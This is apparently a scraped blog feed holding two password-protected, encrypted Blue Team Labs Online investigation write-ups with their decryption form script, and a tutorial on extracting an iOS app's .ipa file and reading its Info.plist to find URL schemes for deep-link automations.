0jKoCJvWbPp+/ibUYZLzfh5dELCs1h4xNueV1o7/+VdFAKEftSBwaqgFk8QwyVTkB1ZO7Lxa/zo0plCTbu3pirMg0UyAa9gNDrVSeSRm4PDgNV1RWdZk7+ZBC6qoPX7sRRR93g5ETS/eBvFB/cTLZ6vNQ5OZ3XNI6vQgNNlgNaBx+cpFBYIXeKfp1FilDSZ3+Omsj7vDGG+vlPGMQdROyE3qS+UdXgKsJ1PyCq8Oqo/VvFxmcS9N3GuYfOBMTbJ7zTcXszGN0Q5c1Cw11/dKPLpgnhNxK4F6ZDyhnj9gVY2kPWf4DZwE3vg3UGhO0JkAMLGtl/u3gRFNSt5yd9k55GvnWPhueBaukw4HwQwfPPIL4xUNUghDV65w9XlZ+3R5dHWCSqP6C0wfMmRxRfh7sbl72Zycr7xe/a+voigPWbrACHNwWO8EUuL4wki3LeWRhhVYYDk95VssntEUQGawVf9Mmg5HkKncsi1vIdvN4N9qyPGI9nOjMcm0sBWfBVNdfBaVI9961PVHJMTk4upEUjVdfBAenKd0NDvm6lYelNi3F0nzOUTzRfU/IcLOwM0OsS4CznQp1NTxoPFXMqMPxkpvCvDBsG1hFHZcQVnuPedSbI45s3CLmWh6nNb1VwpmoxJvkm2VUIzgRRdrxNHquOyO5UbcU3gF9cA7PaG8xiLb3UL8HqUvvkbseYN5E7MzDv7iPKJe0yofrdPcODBkp4n1AaH4/D3Rh50lUjoLsAaauQfpbPf1j8aZ4DipCvyBY5Qw8oeFRVBvTmjKLa+fb6WCAL5shf7X/EGCudaC529WH5neSEo1PiztC7lru9DwlkQDI+3vsmHrehGREiOxO05uJBcWjsvQbvlk1gd4lMT9rBYG6dQPB2NUrvINMxGoaJG9FMt8urODYxYmESMOnrINV3CAZ1bwpQZgarcvTsmXowTzPWFBLafp4=;^</div> <div id="pec-decrypted-content"> <span><strong><i>This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.</i></strong></span> </div> <form id="pec-decrypt-form"> <label for="pec-content-password">Password</label> <input type="password" id="pec-content-password" placeholder="Password" /> <button type="button" id="pec-decrypt-content">Decrypt</button> </form> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/enc-base64.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/cipher-core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/pad-nopadding.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/md5.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/aes.js"></script> <script type="text/javascript"> (function(){var a=function(b,c){for(var d=b.length;d>0;d--)if(b[d-1]!==c)return b.slice(0,d)},e=function(b,c,d,f){var g=CryptoJS.MD5(b),h=CryptoJS.enc.Base64.parse(c),i=CryptoJS.enc.Base64.parse(d),j={key:g,iv:h,ciphertext:i},k=CryptoJS.AES.decrypt(j,g,{iv:h,padding:CryptoJS.pad.NoPadding});try{return a(k.toString(CryptoJS.enc.Utf8),f)}catch(l){return!1}};document.addEventListener('DOMContentLoaded',function(){var b=document.getElementById('pec-decrypt-content'),c=document.getElementById('pec-content-password'),d=document.getElementById('pec-encrypted-content'),f=document.getElementById('pec-decrypted-content'),g=document.getElementById('pec-decrypt-form'),h=function(a){var h=d.innerHTML.split(';'),i=e(c.value,h[0],h[1],h[2]);i?(f.innerHTML=i,g.parentNode.removeChild(g),d.parentNode.removeChild(d)):(c.value=''),a.preventDefault();return!1};b.addEventListener('click',h);g.addEventListener('submit',h)})})(); </script> </div>2022-04-07T14:08:17-04:002026-05-17T14:03:45.434868-04:00Eric Turnertag:blog.ericturner.it,2022-04-07:/2022/04/07/btlo-investigation-exposed/

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.

<div id="pec-encrypted"> <div id="pec-encrypted-content" style="display:none">29fHhRAnDYN+M6fIyCa9pA==;1ddpOqFS9rY6V6IB7QeJjyT6CMiwq5xJyf1me27ZzifgX1nd4MESj0yUdIx0fDvEWfcNMCWfpW9LmcXvaLy4HKISQZ8eFtTrcNogMNE56QEhQQF1N3D1HFNY44aZpNTxTIZMkTmllvY8cAt5yDNmKmt0+nE6aRyT0i7sW1JOTignn93yNm0tNFdICnjZQ96c61FOl1/HGILNJupCPyUkrZBY7DzwfjWY5naCf6pUFxA+B+b+d7n+utXj6hwsmDY25VCiRVQ/q6cPLx+OGF+CAZ9BTb6gbrSEtDcMicJ0pA84SuL5yYeq3iSP+hNko9d9H9w16NGiPGhjScoCCtUAZ4PdmTXF9sa6mFEL1l+EmhU89nDlSjv/Cps3AgELHGXKr3OtshZo3TVgRE8WePA/5b2lPGorpj6jBE6XOFvm2EuUpbcrhdR1McafW4ZhuKfU7eWjW9e8PEuFWNm9WSWNiigoI6M05cYgLn9roO9GLZgG9G7SEalbwToMV0a6yDuAy73Lknx99h3ZQ3KgiWVX4b0XbDARwENQ5L/+YtHFZ3htnJ28y6u1xu7f6VgWX7KfC1BFoyQAedIgUJYQW69c44uuHSx3bwKByiXy22UubqZi/Qs7a6W/dlthl3C+fyuFLT7yGGhFuUUtfUQxRl8CKs8olkHlvApvuCf4bXSRFDEq9J+QW7oGf8HHghHXiY/ukVEugUOyQ95wH0ZhdPd0scgejeETfgbctVZv5+RM6aCNhGj1lcs/UgaM2GJdpFRig8gXotUtl0tSIqFhNLBnlCPwTm0vbcOWjTNY93qbC1FcOHOc8xV3XZLyEA5Zn95QbJRXI1ceu09wm2XE7l7bvHYQ5AuokodBMinigXeyWRJ8AekKjuuHCIhfahklTY8X4XTYIzX/ZxiYwpv/iAeJW61pLiweANozZPX6xuzPwN8l2EZX/CIGp976l5WADH+D0dSIAh4d9auwT32PZ9j9yTjB3EpCgYjv5skqeEnK8sY5ycSBf7jzQJyotgroo8yBvcWno/KZozIYUfhLzXQWD9mXbAEhDLJX/jFfz+eo5G/nGbw+JJQ/1VWhWZq/HrpeqH5kUO5NW4DnwhreSzR71OgHz++L3TGHUBGYEjAD1c0wTnAlWW/kH/VBmQPo84JHjdYki3PvFykgqRVI6a6AUpA06MOLznhW0qAhpYqnzFe7vPR1shdOR5iYzCCLBKXj9GVyHTFfY/j8ViwS3P+2i90QVO9bhZ3oXs4ReBUa8xAm/0hOLMJUF/f87FY3mwfN7zhiGMfVzVZMqo1fJzmq0aeIzy2izTA4iPSIsYqdN6q3vcp/7nhQ3C4WUC/LGW7kDXOLkC1rhW+L3Rs+oRprSz8i0zQOqehq/3K7jIZT3d/NcRPwnhEu3iClSoL8kw42U+20fCWRfruW5kpSUS4xYzYHKXucumJ3EMtTn858iKsMzHMWa9ESvw4AQQWYjfx0VizAlB8V/yl7uByPDceuglMmnbdqiR4Yz6mXL1Ac4zrqsaHnG2II6Ib9M1Jt3n1cGXtRe+r9wO63NKceoB2mlBp33EMSvB/wSaiWWcJv4dQ9xITTU+CEVDWtMC54jTvZSVxQ4ZDdNeqXwWcZZ9YX1/6L2EOA9bdUvxthLqdn57WKiPGbGjdreZc3sywErdyi1wpxAUwyrUWK8nPK1YowCe+iu7wCPFty5H5QW9mcLINOfKNmVqeZAANtSfGn8hG7CWiJHoScUy4Y8DG7l4O8aUzIzpP1idAnBve6JVP2Ez3dDXjLqyfQh13dQMTg0LlBP+oG4k0kvkYrfP4L50xtHBXbJbOQZNufLCbtjXtKh2s/BIO9DioCZSah8uiEb5UQu7sICe/ql+pfPcSNlbA3atDiAH+Y8Db4Xt4KBWEXCz7zSalQjinlqlcT1A1PYiT64NkNRhrlYObB5pJij/XMiUkYU++Kvxtx0LIr4s5GwUZ3pjgR6M+Chdw2K/OBCB+2maQWNJyVUGNdtMBEq9385T1TNPC+B/+cP1lorVLQLoc03KLXgEMEWyvcb/IcpYtuOrdKLJ9R96j9WEBuX9T+cyNzP1z5LDWqZlV8cveCaLRza6929Ok4tqe7cTXIOQ6WpTff1VeCxNEBOZjeVPj2H2CZSGDOR7j7gKNWDEQHkgwM0750Ju+3cZIrsxy/gNYVoVgOvy98gE5wk1ahlIXbOMd3+LwXpDaOjZPIKBwRxJyhLBDGZ2mTfYcXmwt9/0o71Xavy+NbdSIUBAHkl9dSeUXoBoClm5eAi6YqCi5X1h4j9uvvwioiUe9ciboSt5OSkJvCJd+iJSdhADvlTzKd2Qv/2YKgnCToAzPGhXgJ+gzTzYG21bYpN6Ma15HENGfWr4zPZ7RJ3vM++vFfTzhB+LAZ5fBK1mIH9Cjk29sOOIWAC6ot4aOHLlg5HT7gOf4jV+igQTHseyWUIY95FjXG+R5iW5qzOZq1HhG3YZUNY6rAxsv71WndsTMEMFkyCnUgRMDxOqJ2DBn3AlCevs3OSjEJg59B4Cai7nflK3TFvMD9Rwd1kRhud3qh01h1j/J6hdXdYCgbTPg5rRfEc+YAI/d3Gg5p0wzPcUxxq5e20ZN3z6RMvIFsTNSg3XR0eISI6Fjq+WPXAb50rEEudQcpGPtm5XsM80HBl201KYJ8INw5napArwaz1zxvUrRApF8WeGek/e3v/oa8xPggYU2nJpaqHseSu2+moeJQ1LEYIoBAwBK7RStZSDurQkXdrQXoseJz+/uMc04cN/GQN3WiGa9ie27N89pN99/n3dBaEEC39RxcDG1bMtmCHbHFy2SLcFnsHLn+R2yC/nBHQOWPaYxkRojdHWAzA/khydfdFLsuawyoV/40mYbw2WC5lrzppuoKH9+SSG9so9PpjsVmja3aIoy6JXVHjFON2Qffnx9/utPM6FutuUQGuwXbc8ct3GcMXdZ946x9byK8t0OutEj5wwhrQKXz76kjvC96SjOmgCiRectMBnSp/v6142lBMM58b8APemNEa4OQrhLncyWg4J9YSGJdTr+cRb+EuobsMlelc99LcfU8vER5/62dvzuKwGPj54X85HIUnflWlZESl8MOZCSVsw/MsXIFvhVT2a1Wyzy3klCu2XfG8U/7wNTleDSpBHzt/LkM8IPpN416D1dNYxP0F5ihmAveaxybCfCTsLloJLk6X8e2P74PBF6KR8Mulo3++4CCz/o0MQSllL3D1szxEfdAgQsCkXTYyg0tuxv5SMdDOdT2r37QJAoCcrpIzaQFcYTapKmdU3mNwbBbl23JWtNT156rpfv25WY6nkEHKwfPfMfivHDfeTQ7AV7Xv8vWUk+sct+BXbxmySRc2CAxAfctv5kwqPkvq/3PNdMCw1ttciUZmHT+Ci4PROW+R7ZtHEPacdA9zQxMJI3HUcVo8mw8N9pKGhlmBpjJlQYzP1icFNiUvSBMyRLlA48MkL+1g759QW34jAFAJwqjy9OvRmG4Hd9cREHl0cVAM2Dv0c+yB9/glB+ZtaIUU6o9as4TE8OoZUjh+gBJqDhKMzelZKCTBLjgDEMx2k7GGy5Xp4mKeTHonJYXDZN85roMBNKo7kv7HcIovGdvlqcnBfrfhg1jJw5OiU/6+xC+VZU9WhefQsLRcqKrhp+qDnVblMOoxcsVSgTAKvHDEleSKwp/d6LZJSRac0/pq/5YOem7bAl0BJ3L3Xbf09HYiryU8ePfvi/VP7vyJdNNcIgSr2RZ3uTfA3nUsTN5S9/at5GOqrrE6pJHu/+kXtBWQlhzpW0aYptrMFV9xKIugD1NLxkMvBmWG5qS7cpzstGUAgEJtfML3CbBiv4L4zpm6ieMXuXMkXfrYYv8npU5ZMh/jw2s6xGFL8kglwhUru93m5SI6RKczWSzx7QrX7+GsuPhixhzmJbQwT6DN+ugirf5i1TutBuz7ccb1CpkXz7YfnrD4CxykCc/iNUdvXFdhfHHEDXIcxuHF3yEZgocuk+val4LT2K3scs/6NZzQU64c5K9Nx7kWet5+8XLrtXyAK8u2Nm/HExSuS0KuCLcZOVulpgaM/zbwAfW6fiDI9RJUEhZd0XZ4OUe5CchSgC4g7Yvw0SdSXn7Tji/RhOYZ53bJNTNBmGAW/+R3Q4mCKbMGWWhD6zQHiWEP+NAefVDOOoxy1d2szgRYSr5CDCHoicpC3Nb6sfuqkKAjtw71aG3W1tKVfOTRni/Cv0H+s+yRvaisuRxJroBxUINRO4+yH6k6ZLkuvkMP2B7HaX0oXYO8tK7edxf+205UbXKqflvPZVjiPMIZ/Ab+MutMJiD2lElFnzjNvAT7IDkK9BwYI96Gd0MJkZ5psIo2jc2K8a4heekCXWHuNwg0Nvm2rP5ogEAekBqslYXVM0rUgzhSNKkVl1UWs6jLdcV5rhxLMI1SktztoNcPlUHSrmCehbRwJ0x4LX8bMtSXejX9U9ATreSjvfnh6e5Yj2T3noqUotzmXmTl74XwK8zLAuMIT3R2usM9lBdgCDVxoZlVaBYeYH8yWaGJT1l3Z1KhEe0f1ERSQBqG/oEbpGRCBSE0ZB18ndDzIo9cC6cobTJpQF0VhDH8Xykb4wFJ3Rz3l6wKZsPS/lB1BNW8fC2gk6HtTRxagcPSFqGOgaDu/HFX0sahLVVB6sh0hr5sjWefhu5nkA9glw2CmzpVzO87lKCtkvru/A3cwEMg+IgxbveNNGvT7UhOTST0FgRIMP6Qk3DtgVgwl+uy/oiXctr4uEaM4DuQM8CpVdYZVKio7XyXKU1/H9iX2Qn6Z/xNAnGkcVDdDmEnEMeX33ZBId+6WS+eglKDO3kUFmEgrZyT8YYNybHl7oEsTvGskFNSPP8Pwa1s5NC+UWPYCdYoHCCmcEnRUh3hvX/fDp6iC6YbAQ3YATrrySH1b8QKDLiuYekjszGEUb9iRoHNNxC8PGJTheTIcOKgxjY/zdeP9XcvcmaALip9zrH77GJzOohuE6YcYweycPEgTZynJZsosJMaSyzXLgdbj95wYj3vh3EEh3PEJymhDhem5ytYVbIjwY7Pbl9q9ZlWCTnQ743j2KbCQDZev2QKb0U1Vf4384aBT2pP10JzksX07ubPYD4hqHRapJ0j7HNXBUOcE8lDTkq/naynGo3S8dkDiSWSYijdChzAMi6f74T6j9d6F0hSFN9O32Y+vmLGgJIucyKEMghAKVNwWYT/dc7jstVW/CvPJJorJMy+Ef24lX0MfPaB8SoTwWsQJikuMAVXhL4cjJo6vbPT/UQ8FDgLqPGDs6K2twFOBMA/hH7EmHCokBrjsqKNKEI8axbzRym/62tHQOgJSTSNHraAip+G9blaEsmm3uptWSlhddETk9OOkhdnP+EgaN1u6gFHOdJD1mkkt20yDDgX0CgQVQg6dwzlW4YDyYZ24RxnDl634OQ/6HxRGd/yAmuRHXdg5ek2nIiBYP8BJbb4J8XOIPvKjDMzvCs/32QRVYbM+qbRPUt/fZ4uVB4e2CJeKSSZC9/JK/Tqu5qKfAZ3wUpJXSXmDcmvnd1M+8u6E33qv/68VBTI+lz2VmnfUJQLkcHpoxM/t6XTDd+9kgTyyCn9Bay9lPx/ys2RxiwW2a456b9A7g5ELKoP/pNW5IuCYzKew3ToDXvn+op89/Zrv6NxChHh/Q5PErwjCo/ryk=;^</div> <div id="pec-decrypted-content"> <span><strong><i>This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.</i></strong></span> </div> <form id="pec-decrypt-form"> <label for="pec-content-password">Password</label> <input type="password" id="pec-content-password" placeholder="Password" /> <button type="button" id="pec-decrypt-content">Decrypt</button> </form> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/enc-base64.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/cipher-core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/pad-nopadding.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/md5.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/aes.js"></script> <script type="text/javascript"> (function(){var a=function(b,c){for(var d=b.length;d>0;d--)if(b[d-1]!==c)return b.slice(0,d)},e=function(b,c,d,f){var g=CryptoJS.MD5(b),h=CryptoJS.enc.Base64.parse(c),i=CryptoJS.enc.Base64.parse(d),j={key:g,iv:h,ciphertext:i},k=CryptoJS.AES.decrypt(j,g,{iv:h,padding:CryptoJS.pad.NoPadding});try{return a(k.toString(CryptoJS.enc.Utf8),f)}catch(l){return!1}};document.addEventListener('DOMContentLoaded',function(){var b=document.getElementById('pec-decrypt-content'),c=document.getElementById('pec-content-password'),d=document.getElementById('pec-encrypted-content'),f=document.getElementById('pec-decrypted-content'),g=document.getElementById('pec-decrypt-form'),h=function(a){var h=d.innerHTML.split(';'),i=e(c.value,h[0],h[1],h[2]);i?(f.innerHTML=i,g.parentNode.removeChild(g),d.parentNode.removeChild(d)):(c.value=''),a.preventDefault();return!1};b.addEventListener('click',h);g.addEventListener('submit',h)})})(); </script> </div>2022-04-01T14:56:06-04:002026-05-17T14:03:45.441866-04:00Eric Turnertag:blog.ericturner.it,2022-04-01:/2022/04/01/finding-x-callback-url-deep-link-of-ios-apps/

<p>I find often I like doing automations between apps. While you can use the <code>Open App</code> functionality with Shortcuts, trying to open an app from something like a Reminder requires a URL. This guide shows you how to get the iOS App from the App Store for investigation and then …</p>

<p>I find often I like doing automations between apps. While you can use the <code>Open App</code> functionality with Shortcuts, trying to open an app from something like a Reminder requires a URL. This guide shows you how to get the iOS App from the App Store for investigation and then search through the file for the URL Scheme. </p> <p>It would be worthwhile to check the following sites for any existing documentation on deep links or x-callback-urls before diving in yourself:</p> <ul> <li><a href="https://www.appsight.io/">AppSight.io</a></li> <li><a href="http://x-callback-url.com/apps/">X-Callback-Url.com</a></li> <li><a href="https://onetapless.com/library">One Tap Less</a></li> <li><a href="https://app-talk.com/">AppTalk</a></li> <li><a href="https://github.com/timonus/OpenerManifest">Opener</a></li> <li><a href="https://airtable.com/shrydOqT26KkIYWnd">AirTable - List of Apps with x-callback-url</a> (from <a href="https://www.reddit.com/r/shortcuts/comments/ral96l/list_of_apps_with_xcallbackurl/">Reddit</a>) </li> </ul> <p>In this example, I am using my MacBook running macOS Monterey 12.3 with my iPhone 12 Pro Max running 15.4. The app we are going to look at is <a href="https://apps.apple.com/us/app/id1090990601">Tally by Reflectly ApS</a>.</p> <h1 id="getting-an-ipa-file-macos-only">Getting an .ipa File (macOS only)</h1> <p>First we need to get a copy of the app for some light reverse engineering. The easiest way I have found comes from this <a href="https://medium.com/@b0661064248/how-can-i-get-ipa-of-any-app-which-is-available-on-app-store-3a403be7b028">2019 Medium Article by Blazej SLEBODA</a>, whose steps I have reproduced below:</p> <p>1. Connect your device to your Mac and open Apple Configurator. Once the device loads, you can tap it on screen to load:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/image.webp"/></p> <p>Our Device in Apple Configurator</p> <p>2. On the top bar, Click the <code>+ Add</code> button and click Apps. A new window will appear, sign in to your Apple account that contains the app you have already purchased/downloaded before:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/image-1.webp"/></p> <p>Sign in</p> <p>3. Once signed in, choose the app you wish to have a copy of. It will begin downloading on your Mac.</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/image-2.webp"/></p> <p>4. Wait until it downloads and a screen appears like so:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/image-3.webp"/></p> <p>Downloaded App, waitinf for futher instruction</p> <p><strong>Don't click anything!</strong> The location of the app can be found here:</p> <pre><code class="language-bash">~/Library/Group\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps </code></pre> <p>Navigate to it either in Finder (remove the <code>\</code> from <code>Group\ Containers</code>) or in Terminal. It will be inside two more nested folders:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/image-4.webp"/></p> <p>File</p> <p>5. Copy this ipa to somewhere safe such as ~/Downloads. Now you may click Skip in Apple Configurator which will delete the file from this temp directory. Apple Configurator is no longer needed.</p> <h1 id="opening-the-ipa-file">Opening the .ipa File</h1> <p>Using Terminal again, navigate to where you saved the file. So if it was in your Downloads, <code>cd ~/Downloads</code>. Next run the following to unzip the .ipa into a folder:</p> <pre><code class="language-bash"># the format is unzip app.ipa -d directory $ unzip Tally\ 1.22.0.ipa -d AppFolder </code></pre> <p>Once finished, <code>cd AppFolder</code> to jump into the new extracted information (or look at it in Finder). In my case, there was a file in <code>/Downloads/AppFolder/Payload/Tally.app</code>. With finder, right-click and <code>Show Package Contents</code> or <code>cd</code> into it with Terminal.</p> <h1 id="finding-the-callback-url">Finding the Callback URL</h1> <p>The file we need is <code>Info.plist</code>. Open it in finder or display it in Terminal with <code>cat Info.plist</code>, you are looking for <code>CFBundleURLSchemes</code>:</p> <pre><code class="language-xml">.... &lt;key&gt;CFBundleURLTypes&lt;/key&gt; &lt;array&gt; &lt;dict&gt; &lt;key&gt;CFBundleURLName&lt;/key&gt; &lt;string&gt;&lt;/string&gt; &lt;key&gt;CFBundleURLSchemes&lt;/key&gt; &lt;array&gt; &lt;string&gt;db-w65wxt0sdd1hjk2&lt;/string&gt; &lt;/array&gt; &lt;/dict&gt; &lt;/array&gt; .... </code></pre> <p>In my case, I see <code>db-w65wxt0sdd1hjk2</code>. On our iPhone, we can open Safari to test by going to <code>db-w65wxt0sdd1hjk2://</code> in the address bar</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/04/FC_20220401_0058.webp"/></p> <p>Our deeplink works!</p> <h2 id="example-2-shortcuts-app">Example 2 - Shortcuts App</h2> <p>Some apps have many options, as seen below with Apple's Shortcuts app. In this case, any one of the URL schemes will work in Safari / Shortcuts such as <code>shortcuts://</code> or <code>workflow://</code>.</p> <pre><code class="language-xml">&lt;dict&gt; &lt;key&gt;CFBundleTypeRole&lt;/key&gt; &lt;string&gt;Editor&lt;/string&gt; &lt;key&gt;CFBundleURLName&lt;/key&gt; &lt;string&gt;is.workflow.app.url-scheme&lt;/string&gt; &lt;key&gt;CFBundleURLSchemes&lt;/key&gt; &lt;array&gt; &lt;string&gt;shortcuts-production&lt;/string&gt; &lt;string&gt;shortcuts&lt;/string&gt; &lt;string&gt;workflow&lt;/string&gt; &lt;string&gt;workflow000000&lt;/string&gt; &lt;string&gt;workflow1B9AF7&lt;/string&gt; &lt;string&gt;workflow7B72E9&lt;/string&gt; &lt;string&gt;workflow49E845&lt;/string&gt; &lt;string&gt;workflow55DAE1&lt;/string&gt; &lt;string&gt;workflow3871DE&lt;/string&gt; &lt;string&gt;workflow19BD03&lt;/string&gt; &lt;string&gt;workflowA9A9A9&lt;/string&gt; &lt;string&gt;workflowDB49D8&lt;/string&gt; &lt;string&gt;workflowED4694&lt;/string&gt; &lt;string&gt;workflowFD6631&lt;/string&gt; &lt;string&gt;workflowFE9949&lt;/string&gt; &lt;string&gt;workflowFEC418&lt;/string&gt; &lt;string&gt;workflowFF4351&lt;/string&gt; &lt;string&gt;workflowFFD426&lt;/string&gt; &lt;/array&gt; &lt;/dict&gt; </code></pre>2022-03-31T15:21:21-04:002026-05-17T14:03:45.430862-04:00Eric Turnertag:blog.ericturner.it,2022-03-31:/2022/03/31/btlo-challenge-thepackage/

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.

<div id="pec-encrypted"> <div id="pec-encrypted-content" style="display:none">jX0ji/+iJTXWyCza14EoGw==;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